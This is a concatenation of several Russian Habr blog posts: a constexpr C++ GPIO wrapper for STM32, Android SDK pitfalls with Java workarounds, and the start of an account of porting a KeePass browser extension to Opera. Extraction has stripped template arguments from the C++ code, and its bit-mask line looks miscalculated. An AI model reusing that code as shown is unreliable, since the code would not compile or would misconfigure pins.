Теперь нам нужно подписать модуль, генерирующий всплывающие окна, по всему нашему приложению — на событие 'showModal' и все.
Надеюсь этот материал будет вам полезен.
По теме так же советую почитать [largescalejs.ru](http://largescalejs.ru/).
Для загрузки файлов с модулями я использую [yepnope.js](http://yepnopejs.com/).
Спасибо за внимание. | https://habr.com/ru/post/218485/ | null | ru | null |
# Оптимизированный доступ к GPIO. Или GPIO как constexpr класс. С++
Добрый день, жители Хабра. Данный пост будет посвящен программированию на C++, и использованию constexpr объектов с целью повышения уровня удобства и одновременно оптимизации кода с точки зрения размера и производительности.
В процессе работы над одним из проектов, задумался: "нельзя ли сделать удобный доступ к GPIO портам на STM32, и при этом сделать его оптимальным по размеру кода и производительности". Что я хотел получить:
1. Использования контекстных подсказок и автодополнения при работе с GPIO.
2. Получение максимально оптимального кода. 1-2 ассемблерных инструкции.
3. Потенциальная возможность добавить проверки на уровне компиляции, которые не будут влиять на производительность.
Изначально я посмотрел как доступ к портам организован на платформе Arduino, и конечно данный способ далеко не оптимален с точки зрения производительности. Сначала происходит поиск порта по индексу, и только потом обращение. Тут мне в голову пришла мысль о использовании constexpr выражений и классов для реализации обоих пунктов сразу. Итак приступим. В моем случае код не будет кросплатформенным, т.к. можно считать что это часть HAL (Hardware Abstraction Layer). Код был написан для микроконтроллера STM32F103xxx.
Для начала определим адреса портов.
> static constexpr const uint32\_t GPIOA\_BASE = 0x40010800;
>
> static constexpr const uint32\_t GPIOB\_BASE = 0x40010C00;
>
> static constexpr const uint32\_t GPIOC\_BASE = 0x40011000;
>
>
|
| |
|
Теперь определим настройки порты, которые будут нам доступны.
> enum class GpioMode : uint8\_t {
>
> InputAnalog = 0x00,
>
> InputFloating,
>
> InputWithPullup,
>
> OutputPushPull = 0x04,
>
> OutputOpenDrain,
>
> AlternatePushPull,
>
> AlternateOpenDrain
>
> };
>
> enum class GpioOutputSpeed : uint8\_t {
>
> Input,
>
> Max10Mhz,
>
> Max2Mhz,
>
> Max50Mhz
>
> };
>
>
Напишем класс порта. Класс оформим в виде шаблона. Все функции класса определим как static inline. Это делается для оптимизации кода. Шаблонный класс в данном случае используется для группировки функций, хранения параметорв в виде constexpr значений. Т.е. данные параметры будут доступны только на этапе компиляции, а после компиляции, код будет оптимизирован до минимального количества инструкции. В идеале до одной-двух ассемблерных инструкций при доступе к порту, даже при компиляции с опцией "-O0". В вункции доступа к портам добавим барьерные инструкции dsb.
Небольшое отступление. На собеседованиях часто задают вопрос про volatile, которым мягко говоря задолбали уже. У меня большая просьба к тем кто проводит собеседования в сфере embedded: "не могли бы вы с ходу, не подглядывая, своими словами рассказать для чего нужны инструкции dmb, dsb и isb в системе команд arm"? Полагаю, вопрос про volatile отпадет сам собой.
```
template
struct GpioPin {
static constexpr const uint32\_t GpioAddress = GpioAddr;
static constexpr const uint8\_t GpioPinNo = pinNo;
static constexpr const uint32\_t GpioPinMask = (1 << pinNo);
static constexpr const uint32\_t GpioConfPerReg = 8;
static inline void mode(const GpioMode mode, const GpioOutputSpeed oSpeed = GpioOutputSpeed::Input){
if constexpr (GpioPinNo < GpioConfPerReg){
static constexpr const uint32\_t maskBitCount = 4;
static constexpr const uint32\_t maskOffset = (pinNo \* maskBitCount) & 0x1F;
static constexpr const uint32\_t mask = (1 << (maskBitCount + 1)) - 1;
reinterpret\_cast(GpioAddress)->CRL &= ~(mask << maskOffset);
reinterpret\_cast(GpioAddress)->CRL |= ((static\_cast(mode) & 0x03) << maskOffset);
reinterpret\_cast(GpioAddress)->CRL |= ((static\_cast(oSpeed) & 0x03) << (maskOffset + 2));
} else {
// Error
// TO DO: add error compile time error message.
}
}
static inline bool get() {
return (reinterpret\_cast(GpioAddress)->IDR & GpioPinMask);
}
static inline void set() {
reinterpret\_cast(GpioAddress)->BSRR = GpioPinMask;
asm volatile("dsb;");
}
static inline void reset(){
reinterpret\_cast(GpioAddress)->BRR = GpioPinMask;
asm volatile("dsb;");
}
static inline void invert(){
reinterpret\_cast(GpioAddress)->ODR ^= GpioPinMask;
asm volatile("dsb;");
}
}
```
Теперь объявим определения портов в виде прведенных к типу адресов.
> #define GPIOA (reinterpret\_cast(GPIOA\_BASE))
>
> #define GPIOB (reinterpret\_cast(GPIOB\_BASE))
>
> #define GPIOC (reinterpret\_cast(GPIOC\_BASE))
>
>
Осталось только объявить constexpr классы:
constexpr const GpioPin PA0;
constexpr const GpioPin PA1;
constexpr const GpioPin PA2;
constexpr const GpioPin PB0;
constexpr const GpioPin PB1;
constexpr const GpioPin PB2;
constexpr const GpioPin PB3;
.....
constexpr const GpioPin PC0;
constexpr const GpioPin PC1;
constexpr const GpioPin PC2;
Что можно было усовершенстворовать? Внутри класса можно добавить различные проверки, которые будут выполнятся на этапе компиляции. Например проверки адресов.
И наконец пример использования. Выглядит как обычный класс, но компилпируетсся в 2-3 иассемблерных инструкции. При этом работает автодополнение, покрайне мере в eclipse.
PA0.set();
PA0.invert();
PA0.set();
PA0.reset();
PA0.invert();
| |
| --- |
| Код доступен по ссылке: |
| <https://github.com/hwswdevelop/BluePillUsbDebugPrototyping/blob/main/Template/System/Core/gpio.h> | | https://habr.com/ru/post/578836/ | null | ru | null |
# Кюветы Android, Часть 1: SDK
Довольно долгое время я никак не мог понять, в чём же разница между «библиотекой» и «фреймворком». Нет-нет, я умел и читать, и гуглить, но до меня всё никак не доходил смысл этих понятий. Начав же программировать под андроид, я наконец понял, что значат слова «библиотеку использует программист, но программиста использует фреймворк».
В этой серии статьей я хочу рассказать о проблемах, с которыми мне пришлось столнулся при разработке под андроид. Моей целью является не предоставление каких-либо убер-решений приведенных проблем, а лишь информирование о том, с какими проблемами может столкнуться тот, кто посягнет на ~~святой грааль~~ Android SDK. Не думаю, что суровые синьоры откроют для себя Америку, но как говорится: «повторение — мать учения».
#### 1. **Dismiss** для **DatePickerDialog** вызывает обработчик **OnDateSetListener**
##### Ситуация
Довольно неприятная проблема для начинающего. Особенно если вы рассчитываете, что SDK работает как часы.
В своё время пришлось повозиться, чтобы понять, в чём дело. Проблема усугубилась тем, что после установки времени не было никакой обратной связи в приложении (на экране новое время не отображалось). Все данные сразу заносились в объект, который сохранялся в БД и спустя несколько экранов читался обратно.
Несложно представить, откуда начинался дебаг — с экрана отображения (т.к. для тестов использовалась дата **Date.now()** — это внесло дополнительный конфуз), а затем по цепочке.
##### Решение
На самом деле в *Lollipop* [баг был устранен](https://code.google.com/p/android/issues/detail?id=34833#c39), однако [кого](http://developer.android.com/intl/ru/about/dashboards/index.html#Platform) это устраивает? В [AppCompat добавлять гугл фикс не планирует](https://code.google.com/p/android/issues/detail?id=34833#c41), поэтому нужен обходной путь. [И он есть](https://gist.github.com/davidcesarino/ff7c1336e9daedd15e7f) — скопировали весь файл целиком и понеслать. Информацию о реализации можно прочитать на [stackoverflow](http://stackoverflow.com/a/11493752/2653714).
**DatePickerDialogFragment**
```
/*
* Copyright 2012 David Cesarino de Sousa
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package net.davidcesarino.android.common.ui;
import android.annotation.TargetApi;
import android.app.Activity;
import android.app.DatePickerDialog;
import android.app.DatePickerDialog.OnDateSetListener;
import android.app.Dialog;
import android.content.DialogInterface;
import android.os.Build;
import android.os.Bundle;
import android.support.v4.app.DialogFragment;
import android.widget.DatePicker;
/**
* Provides a usable {@link DatePickerDialog} wrapped as a {@link DialogFragment},
\* using the compatibility package v4. Its main advantage is handling Issue 34833
\* automatically for you.
*
* Current implementation (because I wanted that way =) ):
*
*
\* * Only two buttons, a {@code BUTTON\_POSITIVE} and a {@code BUTTON\_NEGATIVE}.
\* * Buttons labeled from {@code android.R.string.ok} and {@code android.R.string.cancel}.
\*
*
* **Usage sample:**
*
*
```
class YourActivity extends Activity implements OnDateSetListener
*
* // ...
*
* Bundle b = new Bundle();
* b.putInt(DatePickerDialogFragment.YEAR, 2012);
* b.putInt(DatePickerDialogFragment.MONTH, 6);
* b.putInt(DatePickerDialogFragment.DATE, 17);
* DialogFragment picker = new DatePickerDialogFragment();
* picker.setArguments(b);
* picker.show(getActivity().getSupportFragmentManager(), "fragment_date_picker");
```
*
* @author davidcesarino@gmail.com
* @version 2015.0904
* @see [Android Issue 34833](http://code.google.com/p/android/issues/detail?id=34833)
* @see [Jelly Bean DatePickerDialog — is there a way to cancel?](http://stackoverflow.com/q/11444238/489607)
*
*/
public class DatePickerDialogFragment extends DialogFragment {
public static final String YEAR = "Year";
public static final String MONTH = "Month";
public static final String DATE = "Day";
private OnDateSetListener mListener;
@Override
public void onAttach(Activity activity) {
super.onAttach(activity);
this.mListener = (OnDateSetListener) activity;
}
@Override
public void onDetach() {
this.mListener = null;
super.onDetach();
}
@TargetApi(11)
@Override
public Dialog onCreateDialog(Bundle savedInstanceState) {
Bundle b = getArguments();
int y = b.getInt(YEAR);
int m = b.getInt(MONTH);
int d = b.getInt(DATE);
// Jelly Bean introduced a bug in DatePickerDialog (and possibly
// TimePickerDialog as well), and one of the possible solutions is
// to postpone the creation of both the listener and the BUTTON_* .
//
// Passing a null here won't harm because DatePickerDialog checks for a null
// whenever it reads the listener that was passed here. >>> This seems to be
// true down to 1.5 / API 3, up to 4.1.1 / API 16. <<< No worries. For now.
//
// See my own question and answer, and details I included for the issue:
//
// http://stackoverflow.com/a/11493752/489607
// http://code.google.com/p/android/issues/detail?id=34833
//
// Of course, suggestions welcome.
final DatePickerDialog picker = new DatePickerDialog(getActivity(),
getConstructorListener(), y, m, d);
if (isAffectedVersion()) {
picker.setButton(DialogInterface.BUTTON_POSITIVE,
getActivity().getString(android.R.string.ok),
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
DatePicker dp = picker.getDatePicker();
mListener.onDateSet(dp,
dp.getYear(), dp.getMonth(), dp.getDayOfMonth());
}
});
picker.setButton(DialogInterface.BUTTON_NEGATIVE,
getActivity().getString(android.R.string.cancel),
new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {}
});
}
return picker;
}
private static boolean isAffectedVersion() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN
&& Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP;
}
private OnDateSetListener getConstructorListener() {
return isAffectedVersion() ? null : mListener;
}
}
```
#### 2. Кнопка требует двойной клик прежде чем сработать
##### Ситуация
Ещё один случай из разряда «да как так то!». Представьте себе ситуацию, когда в открытом диалоговом окне вы заполняете данные в нескольких **EditText**'ах, а затем нажимаете OK. Что может пойти не так? Ну например кнопка OK может игнорировать ваше нажатие! Но только первое… и не всегда… ~~и только раз в месяц...~~. И конечно же опять начинается дебаг и дебаг, и дебаг…
##### Решение
А решение донельзя простое. Нужно знать о магии **setFocusableInTouchMode()** и что вообще это такое. Многие из нас не уделяют должного внимания свойству **focusable**. Действительно, оно чувствуется само по себе и в большинстве своём ведёт себя как следует. И вот тут то нас и ловят:
* Когда юзер кликает по кнопке, он перемещает фокус на неё.
* Когда юзер кликает по экрану, но не по какому-либо элементу — фокус передается на экран, то бишь рассеивается, то бишь фокус переходит в режим Touch Mode или в режим отсутствия фокуса.
Просто? Не тут то было, всегда есть исключения. В некоторых случаях, фокус может присутствовать и в этом режиме (который, повторюсь, называется «режим отсутствия фокуса»). Самый яркий пример — **EditText**. Такое поведение необходимо для возможности одновременного взаимодействия и клавиатуры, и **EditText**'а. Иначе бы написать что-то не вышло.
В итоге, решением является **focusableInTouchMode=true** для кнопки. Решение выглядит простым, но когда не знаешь, с чего начать, всё обретает иные краски. Более детально можно почитать на [android-developers.blogspot.ru](http://android-developers.blogspot.ru/2008/12/touch-mode.html).
#### 3. **Bundle.putParcelable()** — не всегда сериализация
##### Ситуация
Есть диалоговое окно, есть активити. Вы, как бравый товарищ, решаете передать свой объект класса **VeryComplexModel** в диалоговое окно, чтобы проделать над ним какие-либо действия (например, редактирование), а затем вернуть обратно, чтобы в активити сохранить в БД новую версию.
И опять же магия происходит во время закрытия диалога. Казалось бы, локальная копия объект должна остаться старой, но нет. Она изменилась.
##### Решение
Всё дело в неверном представлении механизмов в **Bundle**'а. В моём понимании, **Bundle**, как и всякие **Serializable** и **JSONObject** — всегда создают объект с нуля, если сделать последовательно **serialize()** и **deserialize()**. Во всяком случае, так я думал. Однако то ли из соображения оптимизаций, то ли по какой-то другой причине, **Bundle** может нести в себе указатель на ваш объект без сериализации. Отсюда и изменение данных в диалоговом окне несмотря на **dismiss**. Ожидалось, что пострадает лишь копия, но [Android SDK распорядился иначе.](http://stackoverflow.com/questions/30439108/bundle-putparcelable-getparcelable-pair-returns-same-object-instance)
#### 4. **getFragmentManager()** внутри фрагмента
##### Ситуация
Пожалуй, это самая распространенная проблема среди начинающих (и не только!) программистов. Стоит немного расслабиться и часок-другой дебага обеспечен.
[FragmentManager](http://developer.android.com/intl/ru/guide/components/fragments.html#Managing) используется для управления фрагментами внутри активити, а также для управления вложенными фрагментами внутри других фрагментов.
У активити есть метод **getFragmentManager()**, у фрагмента есть метод **getFragmentManger()** — вызвал, использовал, работает… или нет?.. Что-то опять сломалось. ~~SDK, пожалей!~~
##### Решение
К сожалению, злую шутку здесь играют две вещи:
* ожидание того, что активити и фрагменты работаю примерно одинаково
* игнорирование принципа [RTFM](https://ru.wikipedia.org/wiki/RTFM_%28%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D1%8F%29)
Если глянуть в документацию, то сразу видно, что [getFragmentManager()](http://developer.android.com/intl/ru/reference/android/app/Fragment.html#getFragmentManager%28%29) для фрагмента возвращает… **FragmentManager** родителя! Чтобы получить нормальный, работающий так, как ожидается, **FragmentManager** необходимо использовать [getChildFragmentManager()](http://developer.android.com/intl/ru/reference/android/app/Fragment.html#getChildFragmentManager%28%29).
#### 5. Модификация **Drawable** в runtime
##### Ситуация
С данной проблемой мне довелось столкнутся во время создания разноцветных **background**'ов для разных объектов. Представить подобное можно на примере чата, где bubble (пузырь сообщения) для вашего сообщения окрашен в серый, а для собеседника в красный.
Конечно, самым простым решением будет создать 2 независимых ресурса. Но что если это ваш домашний проект «на раз», а художник из вас как балерина? Тут и приходят на помощь различные методы вида [setColorFilter()](http://developer.android.com/intl/ru/reference/android/graphics/drawable/Drawable.html#setColorFilter%28android.graphics.ColorFilter%29). Верно?.. Нет.
##### Решение
Просто так взяв да применив [setColorFilter()](http://developer.android.com/intl/ru/reference/android/graphics/drawable/Drawable.html#setColorFilter%28android.graphics.ColorFilter%29) на каком-нибудь **R.drawable.bg\_bubble**, будет произведено изменение над всеми **bg\_bubble** ~~на районе~~ в проекте.
Дело в том, что если пользователь видит 100 сообщений с **bg\_bubble**, это не значит, что имеется 100 копий этого ресурса. Это просто не имеет смысла. В оптимизационных целях, копия хранится лишь одна и поэтому изменения в bg\_**bubble** коснутся сразу всех сообщений.
Простейшее решение — [создать локальную копию](http://stackoverflow.com/questions/7979440/android-cloning-a-drawable-in-order-to-make-a-statelistdrawable-with-filters):
```
Drawable clone = drawable.getConstantState().newDrawable();
```
Более подробно суть проблемы описывается [здесь на другом примере](http://www.curious-creature.com/2009/05/02/drawable-mutations/).
#### 6. Выравнивание **TextView** по **TextView**, невзирая на разные размеры/шрифты
**Что? Ничего не понял**
Без лишних слов, сразу ссылку — [Watch That Baseline Alignment](https://possiblemobile.com/2013/10/shifty-baseline-alignment/). А то и [две](http://stackoverflow.com/questions/21144227/whats-the-difference-between-alignbaseline-and-alignbottom-in-android).
Сказать о **baseline** ровным счетом нечего, но только когда знаешь, что оно существует. А вот если не знаешь… вот тогда начинается веселье с **padding & margin**. Лично видел подобное. Даже «зверем» такой код язык не поворачивается назвать.
#### 7. **Spinner** без дефолтного значения
##### Ситуация
Есть **Spinner** для которого нужно добавить «защиту от дурака» в виде подсказки, которая не является значением самого спиннера.
**Spinner с подсказкой**
Можно подумать, что метод [Spinner.setPrompt()](http://developer.android.com/intl/ru/reference/android/widget/Spinner.html#setPrompt%28java.lang.CharSequence%29) делает дело, [но не тут то было](http://stackoverflow.com/a/13329980/2653714). Работает он только для диалоговых окон, да и не на всех версиях андроида отображается. Что же делать?
##### Решение
«А ничего. Живи с этим» (с) Android SDK.
Как обычно, необходим хак. Первое, что приходит в голову: добавить 1 элемент с описанием в начала массива. Однако это плохое решение. Мало того, что «подсказку» теперь можно будет выбрать в качестве значения **Spinner**'а, так ещё и начинаются проблемы при использовать **R.array** / **CursorAdapter**.
И как всегда, самый лучший источник хаков на [stackoverflow](http://stackoverflow.com/questions/867518/how-to-make-an-android-spinner-with-initial-text-select-one?lq=1).
**NothingSelectedSpinnerAdapter**
```
import android.content.Context;
import android.database.DataSetObserver;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ListAdapter;
import android.widget.SpinnerAdapter;
/**
* Decorator Adapter to allow a Spinner to show a 'Nothing Selected...' initially
* displayed instead of the first choice in the Adapter.
*/
public class NothingSelectedSpinnerAdapter implements SpinnerAdapter, ListAdapter {
protected static final int EXTRA = 1;
protected SpinnerAdapter adapter;
protected Context context;
protected int nothingSelectedLayout;
protected int nothingSelectedDropdownLayout;
protected LayoutInflater layoutInflater;
/**
* Use this constructor to have NO 'Select One...' item, instead use
* the standard prompt or nothing at all.
* @param spinnerAdapter wrapped Adapter.
* @param nothingSelectedLayout layout for nothing selected, perhaps
* you want text grayed out like a prompt...
* @param context
*/
public NothingSelectedSpinnerAdapter(
SpinnerAdapter spinnerAdapter,
int nothingSelectedLayout, Context context) {
this(spinnerAdapter, nothingSelectedLayout, -1, context);
}
/**
* Use this constructor to Define your 'Select One...' layout as the first
* row in the returned choices.
* If you do this, you probably don't want a prompt on your spinner or it'll
* have two 'Select' rows.
* @param spinnerAdapter wrapped Adapter. Should probably return false for isEnabled(0)
* @param nothingSelectedLayout layout for nothing selected, perhaps you want
* text grayed out like a prompt...
* @param nothingSelectedDropdownLayout layout for your 'Select an Item...' in
* the dropdown.
* @param context
*/
public NothingSelectedSpinnerAdapter(SpinnerAdapter spinnerAdapter,
int nothingSelectedLayout, int nothingSelectedDropdownLayout, Context context) {
this.adapter = spinnerAdapter;
this.context = context;
this.nothingSelectedLayout = nothingSelectedLayout;
this.nothingSelectedDropdownLayout = nothingSelectedDropdownLayout;
layoutInflater = LayoutInflater.from(context);
}
@Override
public final View getView(int position, View convertView, ViewGroup parent) {
// This provides the View for the Selected Item in the Spinner, not
// the dropdown (unless dropdownView is not set).
if (position == 0) {
return getNothingSelectedView(parent);
}
return adapter.getView(position - EXTRA, null, parent); // Could re-use
// the convertView if possible.
}
/**
* View to show in Spinner with Nothing Selected
* Override this to do something dynamic... e.g. "37 Options Found"
* @param parent
* @return
*/
protected View getNothingSelectedView(ViewGroup parent) {
return layoutInflater.inflate(nothingSelectedLayout, parent, false);
}
@Override
public View getDropDownView(int position, View convertView, ViewGroup parent) {
// Android BUG! http://code.google.com/p/android/issues/detail?id=17128 -
// Spinner does not support multiple view types
if (position == 0) {
return nothingSelectedDropdownLayout == -1 ?
new View(context) :
getNothingSelectedDropdownView(parent);
}
// Could re-use the convertView if possible, use setTag...
return adapter.getDropDownView(position - EXTRA, null, parent);
}
/**
* Override this to do something dynamic... For example, "Pick your favorite
* of these 37".
* @param parent
* @return
*/
protected View getNothingSelectedDropdownView(ViewGroup parent) {
return layoutInflater.inflate(nothingSelectedDropdownLayout, parent, false);
}
@Override
public int getCount() {
int count = adapter.getCount();
return count == 0 ? 0 : count + EXTRA;
}
@Override
public Object getItem(int position) {
return position == 0 ? null : adapter.getItem(position - EXTRA);
}
@Override
public int getItemViewType(int position) {
return 0;
}
@Override
public int getViewTypeCount() {
return 1;
}
@Override
public long getItemId(int position) {
return position >= EXTRA ? adapter.getItemId(position - EXTRA) : position - EXTRA;
}
@Override
public boolean hasStableIds() {
return adapter.hasStableIds();
}
@Override
public boolean isEmpty() {
return adapter.isEmpty();
}
@Override
public void registerDataSetObserver(DataSetObserver observer) {
adapter.registerDataSetObserver(observer);
}
@Override
public void unregisterDataSetObserver(DataSetObserver observer) {
adapter.unregisterDataSetObserver(observer);
}
@Override
public boolean areAllItemsEnabled() {
return false;
}
@Override
public boolean isEnabled(int position) {
return position != 0; // Don't allow the 'nothing selected'
// item to be picked.
}
}
```
**Пример использования**
```
Spinner spinner = (Spinner) findViewById(R.id.spinner);
ArrayAdapter adapter = ArrayAdapter.createFromResource(this, R.array.planets\_array, android.R.layout.simple\_spinner\_item);
adapter.setDropDownViewResource(android.R.layout.simple\_spinner\_dropdown\_item);
spinner.setPrompt("Select your favorite Planet!");
spinner.setAdapter(
new NothingSelectedSpinnerAdapter(
adapter,
R.layout.contact\_spinner\_row\_nothing\_selected,
// R.layout.contact\_spinner\_nothing\_selected\_dropdown, // Optional
this));
```
#### 8. Решето под названием **SupportMapFragment**
##### Ситуация
По воле случая, нужно было иметь дело с картами… благо, было это на один раз, но даже этого хватило, чтобы ~~облысеть~~ чуть-чуть повырывать волосы из-за стресса.
Как всегда считая, что SDK абсолютно безбажно и работает как часы, я схватил мем-лик. На тот момент я обрадовался недавно поставленному [LeakCanary](https://github.com/square/leakcanary), похвалил его мысленно и принялся изучать логи. Они были странными (например, была строка **com.google.android.gms.location.internal.zzk**), но говорили о том, что утекает мой **MapFragment**. Что же я нашел в итоге после часу изучения своих исходников вдоль и поперёк? Ну, думаю, ответ и так ясен.
##### На самом деле..
А на самом деле виновна **SDK** и еже с ней. Каюсь, моя ошибка, стоило сразу обратить внимание на странные логи, но как-то не срослось. Логи в **LeakCanary** часто не особо понятны, кроме последних строчек, где видны именно «свои» ссылки, поэтому всё остальное было благополучно проигнорировано. Лично я столкнулся со следующими проблемами, которые, кстати, схватил за один раз:
1. [Утечка](https://code.google.com/p/gmaps-api-issues/issues/detail?id=8596)
2. [OutOfMemoryError №1](https://code.google.com/p/gmaps-api-issues/issues/detail?id=5621)
3. [OutOfMemoryError №2](https://code.google.com/p/gmaps-api-issues/issues/detail?id=7187)
4. [BadParcelableException](https://code.google.com/p/gmaps-api-issues/issues/detail?id=6237)
Особенно неприятен был последний баг. Впервые используя библиотеку [Parceler](https://github.com/johncarl81/parceler), я решил, что баг в ней или в том, что я неправильно её ~~готовлю~~ использую. Идея о том, что баг возник из-за **SupportMapFragment** у меня ну никак не возникала — согласитесь, причем тут карты и **BadParcelableException**, который возникает когда ты лично добавляешь и вытаскиваешь какие-то данные из **Bundle**? И так я снова потратил несколько часов, изучая исходники **Parceler** и **Bundle.putParcelable()** как умалишенный.
#### Заключение
Несмотря на все приведенные здесь проблемы и странности, а также общий тон изложения статьи, мне всё равно нравится программировать под андроид. Да, иногда SDK даёт пощечину-другую, но в целом оно предоставляет много других, хорошо реализованных (!), возможностей. Чего только стоят новые [Toolbar](http://developer.android.com/intl/ru/reference/android/widget/Toolbar.html), [NavigationDrawer](http://developer.android.com/intl/ru/training/implementing-navigation/nav-drawer.html) и [Behavior](http://developer.android.com/intl/ru/reference/android/support/design/widget/CoordinatorLayout.Behavior.html)? Что и говорить о [Shared Element Activity Transition](https://guides.codepath.com/android/Shared-Element-Activity-Transition)!
Статьей я хотел добиться лишь одного — чтобы если вы ещё не сталкивались с подобными проблемами, столкнувшись, сразу лезли в гугл, а не сидели битый час поуши в дебаге. Я планирую написать ещё 2 части «кюветов»: SDK+libraries и RxJava, но, конечно же, всё зависит от результатов этой части.
Для новичков, да и для программистов средняков, крайне рекомендую почитать на досуге [CodePath Android Cliffnotes](http://guides.codepath.com/android#navigation). Оно не затрагивает именно «кюветы» (хотя и не без этого), но приводит очень детальное описание всего SDK. | https://habr.com/ru/post/279811/ | null | ru | null |
# Как меня назвали параноиком и что из этого вышло
Когда начались утечки баз паролей/хэшей с разных форумов и соц. сетей я начал задумываться о том как и где хранить свои пароли, что бы их можно было быстро менять и при этом не забыть. Так я наткнулся на программу [KeePass Password Safe](http://keepass.info/), о её возможностях я расписывать не буду так как на Хабре статей [предостаточно](http://habrahabr.ru/search/?q=KeePass) и тематика данной статьи не о его возможностях. По мере эксплуатации KeePass обрастал плагинами, особенно для связки с браузерами, [LastPass](https://lastpass.com/) был отброшен так как не хотелось где-то «у дяди» хранить пароли (особенно к рабочим системам), да и не факт, что их от туда тоже не сольют.
Сначала для Firefox было расширение [KeeFox](http://keefox.org/), но так как через [KeePassRPC](http://keefox.org/2010/03/24/keepassrpc-plugin/) (плагин KeePass) работает только оно — то сейчас это расширение давно отключено и не используется. Затем было найдено расширение [PassIFox](https://addons.mozilla.org/en-US/firefox/addon/passifox/) (работает через плагин KeePass — [KeePassHttp](https://github.com/pfn/keepasshttp/)) с ним же сразу и [ChromeIPass](http://chrome.google.com/webstore/detail/chromeipass/ompiailgknfdndiefoaoiligalphfdae?hl=en) — а вот для Opera 11, Opera 12 (здесь и в дальнейшем подразумевается на движке Presto и это мой основной браузер) хорошей интеграции не было, был только UserJS-скрипт добавляющий в заголовок окна адрес страницы, было даже создано [расширение](https://addons.opera.com/en/extensions/details/keepass-auto-type/) делающее тоже самое — для того чтобы KeePass мог определить адрес для которого нужно искать логин и пароль для подстановки по Ctrl+Alt+A (стандартный хот-кей авто-заполнения KeePass). Так как современных навыков по JavaScript у меня нет, я попытал счастья на [OperaFan](http://operafan.net/forum/index.php?topic=18474.msg184329#msg184329) с просьбой написать/переделать расширение для Opera — где меня и назвали параноиком. Продолжение истории о портировании ChromeIPass в Opera 12 (без сильно технических деталей) под катом.
#### Важно
Сразу оговорюсь, что не всё мне удалось портировать, но для меня получилось довольно работоспособно с учётом отсутствия альтернативы. Прошу не пинать за ляпы и ошибки реализации. Если кто что подскажет, поправит буду благодарен.
Понимаю, что Opera на движке Presto — это уже труп, но как писал выше — это мой основной браузер и пока я не вижу ему замены в плане потребления памяти, скорости и возможности допилить функционал. Использую последнюю сборку Opera AC с допиленными под себя плюшками.
#### Первый подход к снаряду
Для портирования в Opera было выбрано расширение ChromeIPass так как посмотрев во внутрь его и расширения LastPass, [RoboForm Lite](https://addons.opera.com/en/extensions/details/roboform-lite/) и увидев приблизительно похожие вызовы для Оперы и Хрома — я сделал предположение что они наиболее близки (со временем я понял, что сильно ошибался).
Первым пациентом была выбрана на то время версия ChromeIPass 1.0.7. Не было функционала запоминания паролей, скудно малые познания о написании расширений и их взаимодействии с браузером, мало свободного времени, расширение LastPass так же как и RoboForm были написаны универсальными сразу под Opera,Chrome и Safari и имели огромные размеры. Была простая замена chrome.extension.sendMessage на opera.extension.postMessage с естественным «epic fail». В общем предприняв несколько попыток я так и забросил портирование, хотя скриптов было мало и я был готов смириться с добавлением паролей через сам KeePass.
#### Второй подход к снаряду
Два месяца назад я обнаружил, что версия ChromeIPass уже 2.6.6 и в нём появился функционал запоминания паролей и ещё ряд плюшек. И оно даже без каких либо изменений работает в Opera (на движке blink), подсунув в режиме разработчика, потом можно и конвертнуть в NEX.
В этот раз было принято решение однозначно добиться рабочего результата. Основательно почитав о взаимодействии Injected script, Background script и Popup script в Opera, погуглив, глянув в другие расширения, облазив уже закрытые форум и блоги на My Opera (пришлось даже копаться в Web Archive и кэше гугля) — я приступил к работе.
Был создан config.xml, переложены файлы в нужные директории, произведена замена chrome.extension.sendMessage на opera.extension.postMessage (в некоторых местах на e.source.postMessage где нужно было отвечать на событие — а не просто отсылать, e — это событие, т.к. в ChromeIPass есть объект event определённый в event.js).
Переделаны все вызовы с использованием механизма callback в Chrome на просто отсылку событий и добавлены реакции на эти события в обработчиках событий, там где эти callback-функции определены.
Переделаны chrome.tabs.\*.addListener на opera.extension.tabs.\* (для Оперы события обязательно в нижнем регистре иначе не работает) в init.js.
opera.extension.tabs.onupdate в Opera (chrome.tabs.onUpdated.addListener в Chrome) не отрабатывает.
Включена отладка (вывод сообщений в консоль) где была, добавление своих отладочных сообщений, что бы понять что и как и с чем взаимодействует.
Добавлено новое расширение в режиме разработчика в отдельно установленую оперу и запущен Dragonfly.
Очень много полезного было взято из постов и блога пользователя **Joel Spadin** aka **spadija** на my.opera.com и его расширений [tab vault](https://addons.opera.com/en/extensions/details/tab-vault/), [autostack](https://addons.opera.com/en/extensions/details/autostack/).
Для начала проверил как расширение работает с KeePass, в этой части почти ничего не переделывал.т.к. работает «на ура».
Было сделано внедрение CSS ([было тут](http://my.opera.com/community/forums/topic.dml?id=777482)), как потом обнаружил тот же способ используется в [документации](http://dev.opera.com/articles/view/opera-extensions-prototypes-modifying-css)
Потом была борьба за последовательность загрузки Injected scripts (в ChromeIPass их три: основной и два переделанных jQuery и jQuery UI). В Хроме с этим полегче чем в Опере.
Решение было найдено на форуме my.opera (уже недоступно) и для jQuery (в ChromeIPass jQuery переименован в cIPJQ, что бы не было конфликтов с подгружаемым jQuery с сайтов) был добавлен код его инициализации в init.js, что бы не вываливал ошибок и работал
```
var cIPJQ;
if (typeof cIPJQ === 'undefined') {
if (typeof window.cIPJQ !== 'undefined') {
cIPJQ = window.cIPJQ.noConflict(true);
} else {
opera.postError(['Error: could not load jQuery']);
}
}
```
Наступил на грабли, что opera.extension.bgProcess это объект window — а не сам background script.
Переделана работа с заменой адресов для popup, решение было взято [отсюда](http://webcache.googleusercontent.com/search?q=cache:Ih5WL38BdAgJ:my.opera.com/community/forums/findpost.pl%3Fid%3D13297612+&cd=1&hl=ru&ct=clnk&gl=sk&client=opera), пока ещё есть в кэше гугля.
